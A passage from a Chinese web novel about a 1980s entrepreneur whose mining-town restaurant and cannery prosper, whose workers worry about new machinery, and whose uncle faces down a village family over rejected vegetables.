但新店还是超越了他们的想象,与目前普遍流行的餐厅风格完全不同,明亮的光线,简约的装潢,设计合理的动线,以及玻璃餐台内一盘盘色泽诱人的菜肴,和前面摆放着的更加诱人的价格标签。 一荤一素一汤一饭,居然只要不到一块钱! 荤菜是实打实的肉,没拿骨头糊弄人,一碟肉托在手心,份量还有点压手;素菜是时令的小青菜,嫩生生水灵灵,在碟子里堆成了小山。 汤不限量,随喝随打,不浪费就行;饭倒是限量,毕竟现在粮食统购统销,买粮食要票,也不能放开了吃,不过馒头做得扎实,足有成年男人手掌大小,寻常人一个馒头下肚就饱了。 只花一块钱,就能吃个肚儿圆,实在是实惠又方便。 而且点餐后不需要等待,直接就能用托盘端走菜,找个空桌坐下来就能吃,一顿饭花不了半小时就吃完,这还是吃得慢的人。吃得快的人十分钟就吃完了,出门时还在打饱嗝儿。 极短时间内,新店成了矿务局的宠儿,每到饭点就有数不清的人涌进来,无论后厨备多少菜,都会被一扫而空。 有的人家懒得做菜,带着饭盒来店里打包几份菜,拿回家端上桌就能吃,就着自家的馒头面条,算起来比自己买菜做饭还要便宜。 等终于确定了罐头配方,贺明珠便将第一批上市的罐头放到了新店来卖。 借着新店巨大的客流量,再加上摸奖宣传,打着“煤矿人家”品牌的罐头立刻就卖爆了。 由于店里人挤人,连吃饭的地方 都快挤没了,贺明珠紧急让人在店门一侧的墙上开了个窗,另辟售货窗口,将买罐头与用餐的人群分流。 罐头的销售实在火爆,无论罐头厂运来多少罐头,哪怕是刚下生产线、还在冒着热气的罐头,都很快被人一扫而空。 没过多久,售货窗口旁贴着的“出售罐头”上加了一条新告示——“每人限购两个罐头”。 同一时间,罐头厂的生意红火,新店的生意也红火,贺明珠手中的现金流以一种夸张的滚雪球的形式快速扩张。 对于普通家庭来说,当手头有大笔的现金时,一般是把钱用来买房置地存款理财,来实现稳健的收益增长,跑赢通胀就是胜利。 而对于做生意的家庭来说,钱放着就是浪费,只有不断投资、扩大生产,才能实现钱滚钱的目标。 对贺明珠而言,收入放在银行吃利息是最不划算的方式,以后世的通货膨胀速度,放在银行的钱在三十年后和废纸差不多。 这笔不断增长的现金要怎么使用才能达到收益最大化?又要如何避免冲动决策造成的损失? 贺明珠陷入了思考中。 随着时间的推移,罐头厂的销售曲线呈现出明显的上扬趋势,刚上市时的火爆场景原来只是开始。 罐头供不应求,无论生产多少罐头,都能在当天被卖空。 而随着买到罐头的人越来越多,“煤矿人家”牌罐头的名号也传得越来越广,甚至有人在走亲访友前专程来买罐头,作为送人的伴手礼。 罐头好吃量大,肉量满满,是很拿得出手的一份礼物。 罐头厂加班加点地赶生产,白天黑夜都有人在值班,房顶的烟囱里冒出的烟就没停过。 贺明珠大手一挥,给罐头厂的所有工人都发了二十块的奖金,一时间,女工们沸腾了。 “二十块啊!这奖金和工资一样多呢!” “这个月能挣四十块钱!真是想不到,之前每个月连十块钱都挣不到,现在居然能挣到四十块啊!” “哈哈哈,我今天就要让我家那口子给我端洗脚水!让他看看我们家到底是谁挣得多!” 财务室外,女工们拿着装钱的信封,面露喜色,说笑间嗓门响亮,腰板都挺得更直了。 信封不厚,装了四张崭新的大团结,是贺明珠特地让人去银行换的新钱,闻起来还残留着刚出厂的新钞票所特有的油墨气味。 “我男人总说是他养活家里,天天摔摔打打,不是骂鸡就是打狗……现在好了,我也是有工资的人,我也养家!” “真好,有钱就是好,说话都有底气了。” “以后我就跟着贺厂长干了,谁也别拦我,我可不回饼干厂了。” “你小声点,要是让老厂长听到,他不知道要多伤心呢……” “老厂长是好人,可我们总要过日子嘛!再说了,我前两天见着老厂长了,老头子看着精神好得很,还问我有没有内部渠道买罐头哈哈哈哈!” 女工们叽叽喳喳地聊天,今天实在是太高兴了,连工资带奖金能拿到四十块钱,这还是罐头厂刚开始正式生产。 等时间久了,还不知道这工资奖金会涨到多高呢,说不定哪天她们的工资比矿工还高呢。 原本这个时间点该下班了,可女工们都没走,反而在将信封收好后,又回到了生产车间,以格外严谨认真的态度洗手消毒后,加班加点,动作麻利地制作罐头。 “大家看起来都很高兴呢。” 隔着厂长办公室的窗户,贺明珠看到车间热火朝天的氛围,不由被这气氛所感染,也露出了微笑。 杨冬梅笑着说:“大伙儿可太高兴了,原本以为奖金发个五块十块就很多了,没想到能发二十块钱。之前还有人找我抱怨工作太累了,现在提都不提,还说让我多排班,她们要做更多的罐头呢。” 贺明珠忍不住笑得更深了。 和后世相比,八十年代的人或许见识少,观念老套,思想还停留在过去。可他们却有着一颗宝贵的赤诚之心,明亮而充满希望,有一股珍贵的永不停歇的精气神。 物质虽然艰苦,但精神却依旧坚韧不拔,像是乱石中生出的青竹,只要有一点雨露阳光,就能展现出惊人的力量。 也正是因为如此,当罐头厂销售爆火、供不应求时,厂里第一时间选择将盈利与工人分享。 收到奖金后,朴素的报答观让女工们决心要回报厂里,而回报的方式就是生产出更多的罐头。 虽然在罐头厂起步阶段时,厂里和女工的关系并不算融洽,甚至因为严苛的管理而导致双方摩擦不断。 除了偷懒女工外,之后陆陆续续还有其他人也离开了厂子。 在艰难地度过了磨合期后,罐头厂和工人终于达成相对融洽的状态,大家各退一步,咬着牙互相忍耐,颇有种为了孩子而无法离婚的怨偶感。 直到现在,一笔大额奖金像是天降的粘合剂,消除了双方对立的鸿沟,将厂里与工人牢牢黏在一起,双方从此利益与共,福祸相依。 这个转变过程,就像是婚姻倒叙,从离婚到怨偶再到蜜月期,另类的“先婚后爱”。 渐渐的,女工们在罐头厂找到了归属感,虽然还谈不上以厂为家,但现在,她们至少愿意为了罐头厂的发展而发自内心地出一把力。 观念上的转变带来的是罐头厂生产效率的提升,仓库里存放的罐头成品的数量以肉眼可见的速度在迅速增加,虽然第二天就会被运走售卖,但仓库很快又会被新产出的罐头填满。 稳定增长的产出,稳定增长的销售,以及更加稳定增长的现金流。 贺明珠决定了,罐头厂的发展可以更进一步了。 现在的罐头厂只是名字中带着“厂”字而已,而实际上却是一个手工作坊,罐头的全部制作过程都依靠人力,手工灌装的罐头,使用蒸笼进行高温消毒,如果不是生产规模大一些,对卫生的要求高,和农村的小作坊没什么差别。 既然要办厂,总该要有工厂的模样。 比如说,机械化的罐头生产线 第130章 第130章罐头加工设备 “啥叫半自动化生产啊?” “笨,这都不知道,就是用机器生产罐头啊。” “啊?有了机器,那厂里还需要我们这些工人吗?” 罐头厂门口,几个刚下班的女工站在厂门口,探头探脑地往里看。 工厂内,十几号人喊着号子,拽着绳子,将一个怪模怪样的大桶吊装到固定的位置上;另一边,原本用于灌装罐头的地方,现在则被一个长条的机器占了位置。 杨冬梅和几个工程师模样的人在交谈,时不时指向厂房的某个位置,询问对方问题。 厂房里一片热火朝天的建设氛围,而厂房外却是凄风冷雨。 到了下班的时间点,女工们没急着回家,而是凑在一起,急切地互相交换消息。 “你确定吗?以后厂子要用机器生产罐头了?” “这还有假?我小叔的同学的表哥就是在里面安装的工人,他亲口和我说的,这些机器就是从外地罐头厂拉来的。” “该不会是厂长后悔给我们发那么高的奖金了吧……” “说不准就是,贺厂长自己都说了,她开厂就是为了挣钱。给我们发完工资奖金后一算账,与其雇我们,不如换成机器省钱呢!” “贺厂长不像这样的人啊……” “我可以不要奖金只要工资,厂里能不能让我们继续在这儿上班?” “亏我还想着以后要好好干,多生产罐头,让厂子越来越好。现在好了,人家要甩开我们了!” 不安焦灼的情绪在女工之间迅速传播,每个人脸上都露出愁容,即使是口气最愤怒的人,火气也是无根的怒火,飘在半空,上不着天下不着地,空落落的。 有女工试图安慰大家:“就算厂里要用机器,可机器又不是人,不会自己洗肉切肉,更不会把罐头搬到仓库,总还是要有工人的。” 这话说出来,一部分人脸上露出放松之色,更多的人反倒更不安了。 “那完了,我之前和杨主任吵过架……” “我还嫌生产任务太重,找杨主任抱怨了好几次……” “我说厂里坏话时被厂长听到了……” 第三个的话一出口,在场的人都向她投来了钦佩且同情的目光。 有人问:“贺厂长说什么了?” “她没说什么,笑眯眯的,看我一眼就走了。” 这个女工都快哭了:“我也没想到就那么寸,正好被她听到了啊……她肯定记住我了,到时候厂里第一个就要把我给开了……” 其他人暗暗在心里盘算,要是罐头厂要开除一半的人,还能不能作为另一半人留下来。 再怎么着,自己也没倒霉到说厂子坏 话时被厂长抓了个现行啊! 正在这时,杨冬梅从厂里出来,见门口围了一群女工,又抬手看看表上的时间,不解地问道: “都下班了,你们还不回家吗?” 女工们面面相觑,不知要怎么回答。 有女工鼓起勇气,主动问道:“杨主任,厂里以后要用机器生产罐头吗?” 杨冬梅点点头,爽快地说:“对,有了机器以后就省事儿多了,能生产更多的罐头,不用像现在似的全靠人力,咱们厂也算是从小作坊真正升级成工厂了。” 女工们却笑不出来。 照杨冬梅说的,厂里有了机器以后,又是“省事儿”,又是“不靠人力”,这不是把大伙儿之前担心的问题都砸实了吗?! 罐头厂停产这么多年,女工们每月领着最低工资,勉强糊口。好不容易能正常在罐头厂上班,才拿了没几个月的工资奖金,现在却又告诉她们厂里不需要这么多的工人。 不要在给了她们希望之后却又夺走,这样比从没有希望还要残忍。 一片沉默,气氛压抑而悲愤。 杨冬梅奇怪道:“这是怎么了?怎么没人说话啊?” 有机器不是好事吗?以后可以不用这么累。可怎么大伙儿表现出一副“厂子要倒闭”的模样啊? 有女工冲动道:“杨主任,厂里有了机器,是不是就不需要我们这些工人了?!” 杨冬梅愣住:“啊?” 这个问题像是打开了阀门,其他女工跟上来,七嘴八舌地问道: “杨主任,能不能和贺厂长说一说,我们干的不比机器差,能不能别不要我们?” “我可以一天到晚都在厂里加班,不要奖金,只发工资就行……” “杨主任,我家就我一个上班挣钱的,上有老下有小,厂里能不能留下我?” “机器费电,算下来不比人工便宜,还是让我们来做罐头吧!” “杨主任……” “杨主任……” 杨冬梅从众人话语中拼凑出大概意思,终于明白她们在说什么,哭笑不得道: “谁说厂里不要你们了?” 女工们犹豫道:“外面不是都说,有机器就不需要太多工人了吗?” “我婆家那边就有厂子安装了新机器,一半的工人都用不上了,全撵回家拿基本工资了……” 杨冬梅一挥手,干脆地说:“别的厂怎么做我管不着,可我们罐头厂才刚起步,正是需要人的时候,怎么可能不要你们?我们厂的罐头做都做不过来,贺厂长还想再招些工人,按师父带徒弟的模式,让有经验的工人带一带新人呢。” 听到杨冬梅的话,女工们的心情像坐过山车一般,从低谷瞬间冲上了高峰。 “真的?贺厂长真的让我们留下来?” “就算有了机器,也不会开掉我们?” “厂里还要再招新人?” 杨冬梅耐心地说:“对,只要大伙儿还愿意留在厂里工作,咱们厂就不会开掉任何一个工人——当然,工作不认真不负责的可不包括在内。” 女工们已经沸腾了,从要被辞退的恐慌中转瞬陷入狂喜,这喜悦甚至比平时更为激烈,颇有一种死里逃生之感。 “太好了,真的是太好了!我就说贺厂长不会是这种冷酷无情的人!” “哈哈哈我才来了没几个月,以后也能带徒弟吗?” “机器要怎么操作?我还没用过机器呢,别把机器给弄坏了……” 杨冬梅说:“别担心,有工程师呢,他们会教大伙儿操作机器,会在我们厂待一个月呢。就算学不会也没关系,厂里有的是不需要操作机器的工作” 这下女工们是彻底放心了,三两成群,嘻嘻哈哈着下班回家。 杨冬梅没有走,她要留在厂里,直到全部机器安装工作彻底完成为止。 这套罐头加工设备是贺明珠淘换来的N手机器,粗黑笨重的苏联货,死沉死沉的,还特别占地方,光是运输费就花了几千块。 贺明珠听说粱父所在的肉联厂要将罐头车间的设备进行更新升级,她瞄上了旧设备,想要买回来用在罐头厂。 为此,她特地去拜访了一趟梁家,想从这边打听点消息出来。 自从梁志胜顺利考上中专,贺明珠被邀请参加梁家的升学宴,之后两边渐渐联系变少。 不过她和梁志胜的关系还不错,和粱父的棒骨采购合作也没断,逢年过节就会去梁家坐一坐。双方都有意维持这段友谊,相处起来相当的热络熟稔。 贺明珠到访,几番客套后说出来意,粱父也没藏着掖着,告诉她肉联厂的这套设备早就被其他企业预定了,拆下来就会被运走。 贺明珠不气馁,转而问粱父周边有没有类似的罐头加工设备要出售。 粱父思考片刻,还真想到了一家倒闭的罐头厂,最近正要将厂里设备拿去卖废铁。 这家罐头厂是建国后建立的,厂里的设备都是苏联进口货,当时可以说是全国首屈一指的罐头厂。 但随着时间的流逝,罐头厂经营不善,负债累累,在计划经济的年代,还能通过行政命令来勉强维持罐头厂的生产运转;但到了改革开放后,罐头厂就维持不下去了,甚至到了要将设备卖废铁的地步。 虽然贺明珠可以买到这家罐头厂的罐头加工设备,但粱父并不建议她去买,因为这套设备是五十年代的设计,距今已经有三十多年,设备的年纪比贺明珠都要大。 经过三十多年的运转,设备上大大小小的毛病不断,这也是这家罐头厂生产的罐头品质下滑的重要原因之一。 与其花钱买这套老掉牙的过时设备,还不如再等一等,看看有没有其他工厂要出售罐头加工设备,或者自己找钢厂定制一套。 听了贺父的话,贺明珠没说买还是不买,只是找他要了这家国营罐头厂的地址和联系方式。 之后,她自己没出面,让贺明军跑了一趟,以略高于废铁收购的价格,从即将倒闭的国营罐头厂手里,将全套的罐头加工设备买了回来。 到底是苏联货,具有苏系机械特有的超级冗余设计,即使是过去三十多年,并在经历长途运输的颠簸后,这套罐头加工设备依旧能够正常运转。 贺明珠从附近工厂和职业技术学院里高薪雇佣了几名工程师,让他们对这套设备进行了彻底的检修和清理,替换了一些磨损过度的零件。 老树发新芽,这套五十年代的罐头加工设备经历翻新后,展现出新的面貌。 外形依旧是粗黑笨重,但内里在运转时却是十分是丝滑流畅,齿轮咬合间发出有规律的、迷人的机械声音。 等这套罐头加工 设备在工厂落地后,杨冬梅带领女工们开始了新一轮的学习过程。 而这次,女工们不再抱怨,更没有叫苦连天,而是积极地提问,每人手中都有一个笔记本,将工程师说的话都记录下来。 这套设备的设计相当简单,操作起来也不算难,可以被分为三个模块,一是食材的烹饪,二是罐头的自动化灌装,三是罐头的高温消毒。 而在这一过程中,对人力的要求不算少,女工们需要完成对原材料的清洗、切割等初步处理,并在机器运转中进行简单操作。 由于生产线是半自动化的,并不能完全摒弃人力,在许多方面都需要人类的协助。 在工程师的带领下,女工们在完成第一次的罐头试生产工作后,对自己未来的职业前景充满了信心。 原本还担心杨主任是为了稳住大家才说这些话,可当大伙儿真的实地操作后,才发现原来她说的都是真的。 罐头厂不会开掉她们,而且还需要更多的工人来完成罐头的生产。 一个月的时间很快就过去了,女工们对罐头加工设备的操作日益熟练,可以在没有工程师协助的情况下独立完成机器的操纵。 当第一批罐头从流水线上下来时,整个厂房爆发了一阵又一阵的欢呼声,几乎要将房顶都掀翻。 与此同时,罐头厂对卫生的要求也越来越高,女工们原先只需要穿着工作服和帽子,而现在需要穿戴全套连体衣,戴口罩,穿着雨靴,全身上下只有眼睛露出来。 未经消毒的外来人士,被禁止进入罐头生产区域。 随着罐头厂的鸟枪换炮,罐头的生产效率达到了一个新高度。 煤矿人家的新店门口,那张“每人限购两个罐头”的告示被撕了下来,取而代之的是 ——“工厂直销,罐头不限量” 新的告示张贴后,立刻就有人注意到了,迫不及待地去问窗口售货员。 “真不限量了?想买多少罐头就能买多少吗?” “真不限量!” 售货员与有荣焉地说:“我们老板在罐头厂安装了自动化机器,以后罐头都是自动制作的,想要多少就有多少,生产线二十四小时不停工,仓库里的罐头多得都数不清!” 一听这话,来人的心放回肚子里,豪迈地说:“那先给我来六个罐头!每个口味各三个!” 后面排队的人听到后急了,连忙也喊:“我也要六个!”“我要八个!”“十个卖不卖?” 甚至有人喊出:“给我来两箱子!” 一时间全场人都看向这位富哥——一箱罐头是二十个,足足要七十块钱,相当于普通工人两个月的工资了。 富哥被大伙儿看得不好意思,腼腆一笑,说:“嘿嘿,我要去外地出差,我们领导说了,给兄弟单位带点上咱们矿务局的特产罐头,跟人家要账的时候也好说话……” 哦,原来是公费报销啊……这下大伙儿了然地收回目光。 不过排在富哥后面的人怀疑地问了一句:“他要是一次性买了两箱,轮到我们还有得买吗?” 售货员爽快地说:“大家随便买,我们的罐头要多少有多少,今天来的人都能买到!” 队伍中的气氛一时间欢快极了,被限量所困扰的人们脸上露出了轻松的笑容。 窗口不远处,几个人探头探脑地看过来,低声说着什么。 “……不用再来排队买罐头了?” “要是以后罐头想买多少买多少,还有人加价找我们买吗?” “怎么办啊大哥?这罐头还买不买了?” “大哥”咬着牙思考片刻,突然灵光一闪: “买!接着买!要是在矿务局卖不动,我们就去外地卖罐头!” 在贺明珠不知道的角落,“煤矿人家”牌罐头出现了第一批自带干粮的经销商。【你现在阅读的是魔蝎小说 moxiexs】 130-140 第131章 第131章许家村的纷争(修)…… 许家村里,一辆满载着各类蔬菜的拖拉机轰隆隆地发动起来,一股黑烟冒上半空,地面都随着发动机的启动而震动。 早下地的村人们纷纷热情地朝着拖拉机车旁、穿着旧军装的中年男人打招呼。 “他四叔,又去矿务局送菜啊?” “今天走得可早,太阳都没升起来,这一路可辛苦你了!” “你去问问明珠,她店里想要啥菜,俺正要下种子,她要啥菜,俺就多种点啥!” 微薄的晨光中,许大舅黝黑的脸上满是笑,嗓门敞亮,中气十足,说起话来像是村口的喇叭在响。 “不辛苦!送个菜有啥辛苦的!能让俺们老农民挣上钱就行!种子的事儿俺去问问明珠,她说要啥,咱们就种啥!” 许贵生拿着拖拉机的摇把,对许大舅说:“叔,咱走吧,再晚就赶不上趟了。” “哎!”许大舅连声答应,冲乡亲们摆摆手,爬上拖拉机车斗专门留出的空位,说了声“走吧!” 拖拉机冒着黑烟,“突突突突”地就开走了。 这辆拖拉机是许家村大队部的公共财产,原先是春耕秋收时用来进行土地耕作,还可以作为运输工具,既运货又运人,除了耗油,比牛马这些大牲口还好使。 在实行土地联产承包之前,农村是集体劳作,拖拉机正可用于大农场耕作的场景中。但随着土地被分成小块承包到各家各户,村里人各种各的地,拖拉机的用处就变小了,经常处于闲置状态。 这倒不是因为村里人不知道用拖拉机种地省事儿,而是由于村里的田地品质不尽相同,有的肥沃,有的贫瘠;有的在山包上,有的在小沟里;有的灌溉方便,有的要靠人挑水。 因此,大队部在分地的时候为了避免纠纷,都是平均分地,每家每户分到的田地有好有坏,以求在最大程度上实现公平。 但这也造成了一个问题,就是农民们所承包的土地并不是一整块,而是零零散散的,东一块西一块,播种除草时需要在几块田地之间来回穿梭。 拖拉机所代表的机械化耕种在这样小面积的土地承包模式下并不适用,即使有村民用拖拉机来犁地,但往往是才启动发动机,没一会儿就要停下熄火。 在普遍实行土地联产承包后的一段时期内,拖拉机作为耕作机械的角色渐渐淡出,更多则是作为短途运输工具。 另外,即使有土地挨在一起的几户人家愿意联合耕种,但由于拖拉机耗油量大,耕作一亩地就要消耗掉十二公斤的柴油。而现在国内缺油,柴油要凭票购买,还不一定能买到。 时间长了,许家村的拖拉机闲置时间就越来越长,直到贺明珠开始在村里大量收购农产品。 最开始的时候,许大舅只需要给两家饭店供菜,隔几天赶着驴车来一趟矿务局就行;而现在,由于饭店数量增加到了三家,还多了采购大户新食堂,再加上罐头厂也对蔬菜的需求量快速上升,驴车的运载能力已经远远不能满足需要。 许大舅向大队部申请使用拖拉机送货,许家村的村委班子开会讨论过后,考虑到村里绝大多数人家都通过卖菜赚钱,其中也包括村委领导们,因此二话不说就同意了。 许贵生以前就是村里的拖拉机手,这回重操旧业,一路开着拖拉机就去了矿务局,路上耗费时间比之前赶驴车的时候要少一半。 到了矿务局,拖拉机依次在三家饭店和食堂停下卸货,其中在乌金年代卸货时,贺明军把许大舅拉到一边,给他拿了几张柴油票。 这些柴油票是贺明军通过小车班司机拿到的,他们平时给矿务局领导开车,可以称得上是离领导最近的一群人。司机们的人脉关系相当广,有门路能搞到油票,贺明军擅长和人称兄道弟,从他们手里弄来不少柴油票。 许大舅他们在返程的路上,用柴油票给拖拉机加满了油,一路“突突突”地回了许家村。 拖拉机的噪音很大,才走到村口,村里就都听到了声音。 “他四叔,你可算回来了!赶紧回家吧,金财家里人在你家闹呢!” 听到拖拉机的声音,有村人步履匆匆地赶来报信。 许大舅一愣,说:“他到俺家闹什么?” 报信的村人说:“说你故意找茬,不收他们家的菜呢!金财说你们家欺负人,要你把他们家的菜全买了!” 许大舅眼睛一瞪,骂道:“许金财这个王八羔子,欺负到老子头上了!” 许贵生急得跺脚:“叔,家里就婶和巧燕在,咱赶紧回家吧!” 说话间,许贵生拉大油门,加快速度,拖拉机轰鸣着就朝许大舅家的方向冲过去了。 远远地,就看到许大舅家门口围了一圈的人,人群中传来大喊大叫的吵闹声。 “丧良心的,都是一个祖宗的亲兄弟,你们家咋就能这么欺负俺们!你要是不收俺家的菜,俺今天就不走了!” “俺不活了!俺没活路了!你们家要逼死俺啊!” “不就是有个做买卖的亲戚,有什么了不起!说起来,你家老大以前还吃过俺的奶呢!” 拖拉机还没停稳,许大舅急急忙忙地从车斗里跳出来,落地时险些崴了脚。 “都干什么!散开,都散开!” 见是许大舅回来了,人群自动让开一条口子,露出来里面的场景。 许大舅家原本整洁的院子现在乱极了,地上一堆堆打蔫的菜,根上还带着泥巴,无数小飞虫在断折碾压的叶片上飞舞。 另有男女老少几个人分工协作,有的在地上打滚哭嚎,有的叉腰骂街,还有的试图钻进许家屋子里,被表嫂堵在门口拦住。 大舅妈手足无措地被人围着,灰色大褂被扯得凌乱,头上都是汗,急得不知要怎么办。 许巧燕护在大舅妈身前,努力地劝道: “姑奶,叔,婶,你们别在俺家闹了,等俺爹回来,有啥事跟俺爹说不行吗?你们这是要干什么啊?以后咱们还做不做亲戚了?” 许巧燕的声音被闹事的几个人的骂声和哭嚎盖住,只能看到她的嘴一张一合。 几个在粉条厂上班的村妇护着灵灵,不让人上手去拉她,小姑娘被吓得脸都白了。 “呸!做什么亲戚!你爹造孽,你们家还想和俺家做亲戚,俺一口啐死你!” 拍地哭嚎的中年女人动作一停,对着许巧燕破口大骂。 “一村人的菜都收了,就是不收俺家的菜,你爹看不起俺家,俺可当不了他的亲戚!以后出门,俺都没脸说和他是一个祖宗的!” 大舅妈试图劝道:“他大娘,你消消气,消消气,这收菜的事俺们说了不算,你们跟俺闹也没用……再说了,巧燕他爹已经去矿务局送菜了,你就是要让他收菜,好歹也要等明天……” 女人噌地从地上爬起来,抓起地上的菜,就往大舅妈脸上摔。 “少拿这话糊弄我!什么今天明天,俺不管!俺把菜送来了,你们必须把菜全收了!要不就是和俺家结仇!把菜钱给俺!” 许巧燕急忙挡在大舅妈身前,被在泥里踩过、脏兮兮的菜叶糊了一身,狼狈极了。 “干什么!” 许大舅暴喝一声,冲到几人中间。 “你们这是要干什么?!来俺家闹事儿,反了你们了!” 许大舅身高体壮,发怒的时候像一尊移动铁塔,立时就震住了闹事的几个人。 在一旁抱着手旁观的胖男人走上前,对许大舅说: “老四,你少吓唬人,你吓唬得了别人,可吓唬不了俺!俺要好好和你说道说道,为啥全村的菜你都收了,就是不收俺家的菜,你是不是和俺家过不去?!” 许大舅认出来这人是许金财,是村里一霸,和他是平辈,但两家关系可不算好。 许金财家仗着兄弟多,经常在村里欺男霸女,运动的时候欺负人家富农的闺女,被抓了个现行还要说是替天行道,打倒反动派。 人民公社时期,许金财家的人经常偷懒,还要求给他们记最高一档的工分,与作为生产队长的大舅产生了不少矛盾。 后来改革开放了,他们家盖了个砖窑,把好好的田地挖的坑坑洼洼,良田变贫瘠,肥沃的泥土全变成了砖窑里的红砖。 许金财家靠着砖窑赚得盆满钵满,成了村里第一个盖小楼的人家。 但人的贪婪是无穷的。 明明已经是全村最富裕的人家了,许金财家却连蝇头小利也不放过,经常因为一分一毫的小钱和村里人起冲突。 他们家院里栽了棵杏树,长得枝繁叶茂,一半的枝干伸到了隔壁邻居的院子里。 杏子成熟后,难免会掉到邻居院里,许金财的老娘每天就到邻居家“哐哐哐”擂门,让对方把掉到他们院里的杏子都交出来。要是数量少了,她还要骂人家偷吃自家的杏。 邻居烦不胜烦,要把伸过来的杏树枝条都砍了,许金财家的人跳着脚地骂街,逼得邻居关门闭战,砍树的事最后不了了之。 后来,许金财家不知从哪儿弄了个破渔网,缠在了枝条下方,所有杏子都掉在网里,邻居绝对偷吃不到。 说起来这棵杏树结的果子一点也不好吃,又苦又涩,个头还小,连鸟都不吃,更别提人了。 但即便如此,许金财家生怕让别人占了自家便宜,由此也能看出这一家人嗜钱如命的性子了。 贺明珠让许大舅在村里收菜,大舅秉公,不管和村人的私交如何,只选质量好的菜。 凡是个头小、虫眼多、菜叶打蔫等品质不好的菜,哪怕要得罪人,他也是绝对不肯收的。 村里还有人觉得他太死板了,一点也不会变通,饭店一天要消耗那么多的菜,就算里面掺点不好的菜,厨师忙得也发现不了;就算是发现了,那不还有贺明珠嘛。 乡里乡亲的,就不信她还能真把菜退回来。 但许大舅把关把得严,一点也不肯抬抬手,铁面无情,简直像个农村版黑脸包公。 村人没奈何,只得打消了想要浑水摸鱼的小心思,把全部心思投入到种菜之中。 土地是最诚实的,你浇灌了多少汗水,它就馈赠你多少回报。 但许金财家的人却不肯老老实实地种菜,只想着投机取巧。只要让许大舅点头收菜,就算他们家的菜种得和野草似的也没关系。 毫不意外,许大舅不留情面拒绝了他们家的菜,许金财家的人大怒,觉得许大舅故意找茬,一家子人浩浩荡荡就围上了许大舅家。 对于许金财家“凭什么不收俺家菜”的问题,许大舅从地上抓起一把烂菜叶子,怒道: “你自己看看,这菜能吃吗?!你自家都不吃的菜,你要卖给饭店,你有没有良心!” 许金财的媳妇梗着脖子说:“谁说俺家不吃?俺家平日里就爱吃自家种的菜!” 旁边了解内情的村人就说:“这不瞎说呢,金财家啥时候吃自家种的菜了,不都是从闺女婆家拿菜嘛,闺女婆婆都骂几回了……” 许金财的媳妇说:“你们才瞎说!那菜是俺闺女种的,凭什么不能拿回娘家?!再说了,俺自家种的菜,俺家天天都吃,顿顿都离不了!” 对于这种睁眼说瞎话的人,许大舅气得直把手上的菜往对方的方向递: “你爱吃就你吃,你拿着回家慢慢吃!” 许金财媳妇被唬了一跳,下意识往后退了一步,撞到许金财身上。 “老四,你啥意思?你就和俺家过不去了是不是?” 许金财穿着村里少见的西装,歪戴着一顶带沿帽,胖得衬衫上的扣子都崩开几颗,露出黝黑肚皮。 许大舅道:“俺和你过不去?分明是你家和俺过不去!俺收菜从来都是挑好的,就算是俺自家的菜,要是不好也不要。你问问大家伙儿,俺什么时候都是对事不对人!” 旁边的村人纷纷说道: “说得好!” “就是!” “菜种得不好还怨人家不收,咋能这么不要脸呢!” 最后说话的人被许金财恶狠狠瞪了一眼,收了声,小声说:“吓唬谁呢,有什么了不起的……” 许大舅继续道:“你家要是菜好,就算你和俺吵架,俺该收也要收;可要是菜不好,就算是俺亲兄弟,也不能收这菜!” 许金财不屑道:“你替饭店收菜,那饭店是你外甥女的,又不是你自己的,你管得还严嘞!” 许大舅严肃道:“就是因为替饭店收菜,所以才要挑好的!咱们县有一百多个村子,村村都在种地,要是菜不好,人家凭什么要收俺们村的菜?就凭俺是老板舅舅?俺可没这么大的脸面!” 他对许金财,也是对村里人说道:“只有把菜种好了,才能让饭店一直收俺们村的菜,大伙儿才能一直有钱赚。偷懒拿坏菜糊弄饭店只能糊弄一时,人家也不傻,为什么要花钱买坏菜?要是饭店不信俺们村,不要俺们村的菜,到时候就算后悔也来不及了!” “俺们农民挣点钱不容易,好不容易有个挣钱的路子,不能自己把路堵死了,不能够啊!” 听到许大舅的话,原本还在心里抱怨他不近人情的村人,此时终于理解了他的严苛。 “是啊,他四叔说得对……” “以后还是好好种菜吧,不能再有那偷奸取巧的坏心思了……” “要是俺们村的菜不好,饭店去别的村收菜就完了……” 许金财一看风向不对,连忙高声道:“贺明珠可是你亲外甥女,她能干出这种不顾乡亲的事儿?俺们县的村子是多,可其他村和她有什么关系?大家别听他的话,除了俺们村,贺家还能去哪儿收菜?!” “哪儿都行!” 许大舅大声道:“就是因为她是俺外甥女,才更不能害她!俺们村里的人都是一个祖宗,明珠身上也流着许家的血,血脉至亲的,怎么能害她?!你还是不是个人?!” 说不过许大舅,许金财索性无赖道: “我不管,要么你把钱赔给俺家,还得答应以后都要收俺家的菜;要么俺家和你没完,你别想在村里待下去了!” 第132章 第132章许大舅教子(补完)…… “你还让俺在村里待不下去?!许金财,你长本事了,吃了豹子胆,敢对老子说这种话!” 许大舅一声暴喝,浓眉倒竖,威慑感极强。 他平素里虽然总是一副笑呵呵的温和模样,但并不是任人欺负的老好人。老好人在农村当不了生产队长,更支不起这摊收菜营生。 文学作品里总爱写农村淳朴善良,可事实上并不总是那么一回事。淳朴是真的,善良是真的,弱肉强食也是真的。 在一个靠体力维生的环境中,人们的思维更简单直接,强者上,弱者下,没有那么多的弯弯绕绕。 与人为善到软弱的老好人并不会获得与善良相称的回报,相反,会让人觉得这人有便宜可占,还可以随便欺负,不用担心后果。 农村的生存智慧之一就是知道在什么时候该硬起来,一步不让,不给对方“这家可欺”的念头。 “还你家和俺没完?那你现在就给俺没完一个!!!” 许大舅上前一步,厚实的胸膛撞上了许金财,直撞得对方后退一步。 他低头俯视许金财,呼哧呼哧地喘着粗气,目光凶狠,像一头发怒的老狮子。 “来!俺倒要看看,你长多大本事!” 许金财下意识低头避开许大舅的视线,想要继续后退,又勉强站住脚,色厉内荏地大喊: “许国忠,你吓唬谁?你当自己还是生产队长啊?俺告诉你,村里别人怕你,俺、俺可不怕你!” 许大舅猛然出手,揪住许金财的西装衣领,直提溜得他踮起脚尖,逼着他与自己对视。 “带着你的老娘媳妇还有烂菜叶子给俺滚!再敢来俺家闹事儿,俺就往死里收拾你!” 许金财被衣领勒得喘不上气,徒劳地去扒拉许大舅的手。 许金财的老娘媳妇反应过来,哭喊着扑过来:“打死人了,要打死人了!” 许大舅松开手,许金财跌倒在地,金贵的西服沾满了菜汁和泥土。 “滚!” 许大舅暴喝一声,许金财一家人狼狈地钻进人群,头也不回地逃窜出门,留下满地狼藉。 看热闹的人群渐渐散去,有和许大舅家关系好的人就下来帮忙打扫院子。 